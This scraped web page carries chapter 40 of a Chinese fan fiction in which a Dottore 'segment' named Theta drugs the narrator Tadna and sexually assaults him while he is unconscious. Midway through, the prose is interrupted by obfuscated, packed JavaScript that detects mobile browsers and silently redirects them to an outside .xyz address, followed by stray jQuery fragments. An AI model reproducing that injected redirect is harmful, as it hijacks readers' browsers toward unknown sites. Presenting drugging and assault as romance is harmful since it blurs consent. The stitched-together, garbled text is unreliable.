40.第 40 章

theta切片与我想象中的样子很不一样,甚至可以说是,大相径庭。


他确实在很多方面,或者说大部分方面,都保持着和多托雷一样的习性,比如对实验的热爱,以及骨子里掩藏得很深的傲慢和对他人的不在意。


但他对我的态度,和其他切片相比,却要柔和得多,也亲近得多。


因为还要进行“本体”给的实验任务,所以theta切片一般情况下白天并不会在住所,但他会在傍晚时分准时回来,然后在壁炉里面添上柴火,在厨房里尝试一下新改进的做饭装置。


我不得不在此提一句,我实在不知道theta切片对“做饭”的浓烈兴趣是从哪里来的,但他对此事乐此不疲。


有趣的是,theta切片或许是一个科研的天才,但他于“做饭”一途实在是天赋有限,以至于做出来的做饭机器虽然逻辑合理,但就是做不出来一顿像样的饭。


出的差错千奇百怪,如第一天那般恨不得用一条河的水煮一锅饭的错误除外,他的做饭机器还做出了把糖当盐放以及做鱼没有去除内脏等等离谱的事迹。


我一度怀疑其实做饭机器的设计逻辑是没有差错的,出错的是theta切片对“食物”的认知。


毕竟就算是被放入了致死量白糖的饭菜,theta切片吃完脸上也没有展现出丝毫的不对劲出来。


要不是我尝了一口,这件事可能永远也不会有人发现。


我向theta切片提出了这个可能,theta切片进行了一番沉思,然后把一堆造型奇怪的做饭机器塞到我怀里。


他说:“你的猜测不无道理,既然机器的设计上没有差错,那么出错的只可能是预设的逻辑。我不会做饭,所以自然也不知道合适的动作逻辑是什么。如此,这堆机器就交给你来改造吧。”


我:“……”


我:“欸……我,我吗?真的假的,我来改?”


我捞了一把臂弯处快要掉下去的能源插头。


“不……这样的要求还是有点太为难人了吧。”我勉强维持着怀中一大堆东西的平衡。双眼被最上面的一个打蛋机器遮住了,我只能透过缝隙去看theta切片。


theta切片抱着手臂,一副悠闲的样子靠在厨房的门框上。


“不要这么轻视自己。只是一堆做饭用的废铜烂铁而已,连简易的邪眼都能做出来,想必这点小事对你而言也不会太难,对吗?”


对……对吗?


我搞不清楚theta切片此举的意义。


他似乎只是为了捉弄我而已,甚至煞有其事地找了一堆机械学的专业书籍给我。每本书都厚得可以当砖头砸死人的那种。


theta切片将高得可以把我埋起来的书放在地上。


“如果有哪里不懂的话,这些书籍都可以查看,以及……”他又拿出一张巨大的图纸,“这是我制作这些机器的时候绘制的图纸,如果有哪里不懂,都可以问我。”


男人伸手将宽幅巨大的图纸卷了卷,单膝跪在地上,轻轻弯腰将纸卷放在我的面前。


我有些呆滞地抬头,目光一不小心就落在那被束缚带紧紧束缚的胸膛上,慌乱地转移视线。


“是……主人。”


theta切片似乎格外偏好在家里脱去外裳只着内里一件深蓝色衬衫的打扮,若说是为了宽松休闲,他又会保留着身上的束缚带装饰。


环绕脖子一圈,紧紧缠绕着胸膛和腰,以及双臂上的束缚,使得那紧致的肌肉更加显眼,也更加……


引人注目。


我在心中不断默念着“管住视线”,甚至没有注意到theta切片是什么时候来到我身边和我并排一起坐下。


等我反应过来的时候,盘起来的双腿上落下一只没戴手套的,骨节分明的手。


我身体一僵,下意识地转头看过去。


我看到theta切片的侧脸,但因为戴着面具的缘故,实际上也看不到什么。


察觉到我的视线,theta切片露出有些疑惑的神色朝我的方向稍微偏了一下头,右耳那只蓝色试管状的耳饰也跳进我的视野里。


他问:“怎么了?你似乎有些心不在焉?”


我抿了抿唇,不敢去看他,只是有些紧张地将地上的图纸卷捡起来,装作一副忙着看图的样子。


“没……没什么。”


真是见鬼……怎么偏偏今天管不住自己的眼睛。


耳边传来一声轻笑,我吓得手一抖,连简单的展开图纸的动作都做不好,边缘翘起的部分一直往里回缩着无法展开。


theta切片从我手中抽出图纸,捏紧一边,然后“唰”地一下展开。


那图纸在他手里和在我手里仿佛不是同一张纸一样,总之相当顺利地展开了。


图纸上是密密麻麻的图案和文字批注,专业性极强。


theta切片将图纸忘我的方向移了移,半个身体便也倾斜到我这边来。


“这样方便一些。”他说。


确实很方便,从这个视角能够看到图纸上所有的内容,就算是最边边角角的细小批注稍微伸一下头也能够看的非常清楚。


但同时,在这个视角,也能够看到男人轻微俯就的身体,那横跨我腹前握紧图纸边缘的手臂,黑色束缚带下轻微起伏的胸口,以及,领口下若隐若现的皮肤。


我想要移开视线,但想要看图纸的话,视线就很难避免扫过那些地方,但若是不看,theta切片会起疑心。


一时间如坐针毡。


theta切片将左手的图纸边缘塞进我的手里。


他说:“拿好一点。”


手指相碰,我感受到那点干燥温暖的触感,然后晕晕乎乎地下意识攥紧尚带着点余温的边缘。


theta切片在我的耳边讲解着,手指随着讲解的进度落到图纸上的某一块地方。


“这里是能源供应的板块,考虑到需要独立使用的需求,我设计成了能量储蓄的使用方式,以及这里……”


耳边的声音温柔而有条不紊。


只有我的脑子现在一团乱麻。


这样的距离,实在是过于接近了……


“如果要改进的话,可能要从……嗯……塔德纳?塔德纳,你还在听吗?”


眼前闪过一只手,我往后一仰,从异样的状态挣脱出来。


面前是theta切片的脸。


他不知道什么时候收了图纸,与我面对面坐着。


我忍不住捂脸。


“抱歉……我现在有些集中不了精神,可以稍等一会儿再进行讲解吗?”


theta切片的语气透着担忧:“不要紧吗?你的状态似乎很不对,需要我帮你看看吗?”


我下意识地拒绝。


“不用了。这样的小毛病,没必要打扰主人您。”


theta切片没有坚持,仿佛真的像是在为我着想一般。


“好吧,如果你坚持的话。只是要是坚持不住了,记得及时叫我。”


这样细腻温柔的嘱咐让我的内心突然升起一点“内疚”的情绪。


我是不是对theta切片有些过于防备了?


我如此想着,脑袋依旧晕乎乎的。


那边theta切片似乎丝毫没有被拒绝过后的不满或是其他情绪,只是安静地收起图纸,一只手撑着地面站起来。


我闻到一股若有若无的香味。


是香水吗……


多托雷似乎出席重大会议的时候也会喷一点……


我感受到一阵困意。


几乎毫无预兆。


大脑深处的声音在告诉我“不要睡觉”,但意识却不由自主地陷入深沉的睡眠之中。


双目紧阖的前一秒,我看见theta切片朝我走来,他松了双臂上的束缚带,袖口捋起,露出结实的手臂。


意识中断。


……


theta切片将昏倒在地上的青年环臂抱起来。


青年的体重并不算重,甚至有些过于轻盈。theta切片有些苦恼,明明他已经学着书籍里写过的样子投喂了青年一段时间,可是为什么,还是如此瘦弱呢?


theta切片将此归结于青年的体质原因。


毫无疑问,青年来到他这里后的时日被养护的很好,原先被折磨得苍白的脸和青黑的眼眶也恢复了记忆里的模样。


theta切片对此十分自豪。


他和Beta切片不一样。他不是一个残暴的切片,甚至,不那么像“本体”。


他是被刻意抽走了对那些发生在“本体”和青年之间的龃龉的愤怒之后,创造出来的,用于实验的特殊切片。


不用怀疑。


theta切片对青年怀有着不一般的感情。这样的感情不再被碍眼的记忆侵染,如同愈燃愈烈的火焰,将那颗明明不会搏动的能源装置烧得滚烫。


这样炙热的温度,如同火红的炭块一般。theta切片无时不刻不在被这样的感情困扰着。


他想过要找“本体”拿回残失的那部分情感。


但这样的请求被拒绝了。


“本体”告诉他,“这是一场实验,一场以我的一角为代价,开展的,人性的实验。”


theta切片无法理解“本体”这样的感情。


他是第八个切片,在他之前,还有着七个切片。但无论是哪个时间段的切片,他们都与theta切片完全不同。


theta切片意识到,他是一个异类。


于是他开始学习其他切片以及“本体”的言行举止,力求不让外人看出他的不同。


theta切片模仿了很久,久到他都要忘记胸膛那滚烫的火了。他觉得自己现在应该已经和其他切片差不多了,于是他找到了“本体”。


“本体”只是轻笑。


“你似乎对‘自我’有些迷茫,呵呵……你从诞生之初便和其他切片完全不一样,这点,即便再如何努力伪装,也无法掩饰。”


“本体”如此对他说。


theta切片只感觉到困惑。


明明他已经如此努力地伪装自己,明明就算是其他切片也看不出自己有什么不同,甚至还会忌惮他作为“年龄最大的切片”的身份,可是……


为什么他还是会被认为是“不一样的那个”?


theta切片为此沮丧了相当长的一段时间。


直到“本体”离开至冬前告诉他。


“你找寻‘自我’的时刻来了。去这里看一眼他吧。”


“本体”递给他一张纸条,上面是一个地址。


theta切片前往了那个地方。


那是一个监狱,在那里,theta切片第一次见到了只存在于记忆中的青年。


被错认为已经冻毙于冰雪的火焰时隔多年再一次燃起,比以往任何一次都要猛烈。


这样的感情究竟是什么,theta切片并不完全明白,但他知道,自己的内心,正在疯狂叫嚣着对青年的渴望。


theta切片用了一些手段,他擅长伪装,也擅长观察,好在青年足够狼狈,没有过多怀疑便来到了他的身边。


如此,是“本体”想要的结果吗?


theta切片在心中这样想着。


……


“自我”。


theta切片从被制造出来的伊始,便知道自己不被任何一方接纳,无论是切片,还是“本体”。


theta切片偶尔会面对浴室的镜子观察自己的躯体,那犹如真人的肌肤,以及那显眼的,占据了一半面容的机械眼。再明显不过地宣判着他“异端”的身份。


他是为塔德纳而诞生的。


如今,与青年紧密融合身体仿若真的生出了人类的“心脏”,令theta切片感到满足,也感到鲜活。


“本体”说的不错,他的确能从青年处找到“自我”。


……<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890830|159613||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>再次醒来的时候,身体像是被马车压过一样浑身酸痛。我睁开眼,发现自己被紧紧地抱在一个怀抱里,眼前是一片裸露的胸口,印着杂乱的吻痕和被挠出的血痕。


我抬头,和一只机械独眼对上,心里猛然一惊。


那只眼睛光芒暗淡,似乎暂时停止了运转。


我稍微松了一口,大脑然后再变得空白。


发……发生什么了……


我轻轻挪动了一下身体,没能挣动,又担心会把theta切片弄醒,所以很快放弃了动作。但就是刚刚那一下,我感受到身体被过度使用的疲惫和痛感,以及,身后那处传来的,有什么东西缓缓流动脱离的感觉。





!!!


我隐约意识到在我昏睡期间发生的事情,几乎难以置信。


不,这一切,或许早有预料。


我想起昏迷之前闻到的那股被我认为是“香水”的味道。


身体到处都是痕迹,整个人也被死死抱着。


我花了一段时间接受事实,又花了一段时间胡思乱想。


这是theta切片做的,这点毫无疑问。


可是……为什么?


我在来找theta切片的时候,并非没有做好“要付出一些特殊代价”的觉悟。多托雷对我有着特殊的欲望,没道理以多托雷各个时间段为样本制作的切片对我毫无兴趣。


更何况……


多托雷还专门给自己的切片都分享了那些记忆。


theta切片当时在咖啡馆对我展现出来的占有欲和亲吻,一切都在我的预料范围之内,除了他“故意向我展现自己的机械独眼”这件事。


那确实吓了我一大跳。


但总体而言,计划并没有偏离。


我的所有目标都已完成:确定theta切片对我态度友好,以及逃离赞迪克的掌控。


我在当时对theta切片展示出来的欲望也给予了完全正面的反馈。


所以,究竟是哪里出了错?


为什么事情会演变成现在这个样子?!


我感到头疼,隐约意识到自己对theta切片的预估可能在某些地方出了大差错。


身前躯体呼吸的频率稍微发生了变化。


theta切片带着沙哑的声音在头顶响起。


“你醒了?”


好似刚刚才醒一般。


可是……这家伙,明明不需要呼吸,无论是胸膛起伏的频率还是呼吸的浮动都是他刻意模仿出来的。还有,他也不需要睡眠才对……


白天里昏沉之间不合理的地方以及刚醒过来时大脑信息过载被忽略的不合理之处在大脑里飞快闪过。


我喉咙有些发紧。


“嗯……你,您,您先放开我,可以吗?”


光裸的后背被轻柔地扶着往内推拢。


“不必刻意使用敬语。”他说,“你和我之间的关系没必要拉得那么疏远。”


我一时间不知道怎么回话,只能模糊地“嗯”了一声。


又过了一会令人窒息的静默。


见theta切片没有说什么的意思,我忍不住再开口。


“主人……我,能把我放开吗?我想去清理一下……呜……”


被子里收紧的双腿被故意从中间分开。


我蜷缩着身体,想要停止这样过于羞耻的事情,但却被这一切的罪魁祸首无情地打开。


“忘了给你清理,实在抱歉。”theta切片似乎完全看不出我现在的难堪,只是一副道貌岸然的样子。


他抱紧我,耳边的声音犹如咏叹。


“但是,你的反应实在是,太可爱了,我有些忍不住。”


灼热的气息濡湿了我的耳垂,那带着笑意的声音仿佛是要故意让我听清楚,再也忘不掉一般,一遍又一遍重复着:“想要永远留在你的身体里……塔德纳,就这样,永远含着我给你的东西……”


theta切片重复着我的名字。


“塔德纳……塔德纳……塔德纳……”


我想起枫丹产的那种发条娃娃,坏掉的时候也是这样,一遍遍重复着最后的几个字。


后知后觉的恐惧爬上心头。


我惊出一身冷汗。


……


theta切片不正常!


当然,我指的当然不是从道德伦理上来讲!


真要用人类社会的道德品质来要求多托雷的这些切片的话,有一个算一个,全改被送进牢里判死刑。


我指的是,对我的态度。


我最开始以为theta切片只是出于不知名的原因对我的态度比较“友善”。


无论是夸赞我做的“临时邪眼”,还是和赞迪克以及少年切片对峙时对我的袒护,都说明theta切片对我的初始好感度是远高于其他切片的。


至少是高于赞迪克和少年切片。


但是,如今再仔细想想,那么早地就放出自己的消息,在咖啡馆每周一次地等待,不觉得有些过于刻意了吗?


即使我是“本体”的副官,和多托雷有着一系列难以言喻的关系。


即使如此,又真的值得theta切片花费这么大的精力在我身上只是为了在合适的时候抢走“对我的管理权”来恶心一下其他切片吗?


不。


这不合理。


唯有足够重量的筹码才能让贪婪的赌徒心动。


或许,早该在theta切片故意引导我摘下面具的时候,我就该意识到,这是一场等候多时,精心密布的“局”。


多托雷或许早知道theta切片对我的感情不太正常,于是才专门留下了这个切片。


他早知道,比起少年切片,我会更倾向于选择实力更强大的theta切片……


我的脑海中突兀地浮现出与少年切片初会时,少年切片的那句话。


“……保留所有观察世界的视角……”


包括……我在内吗……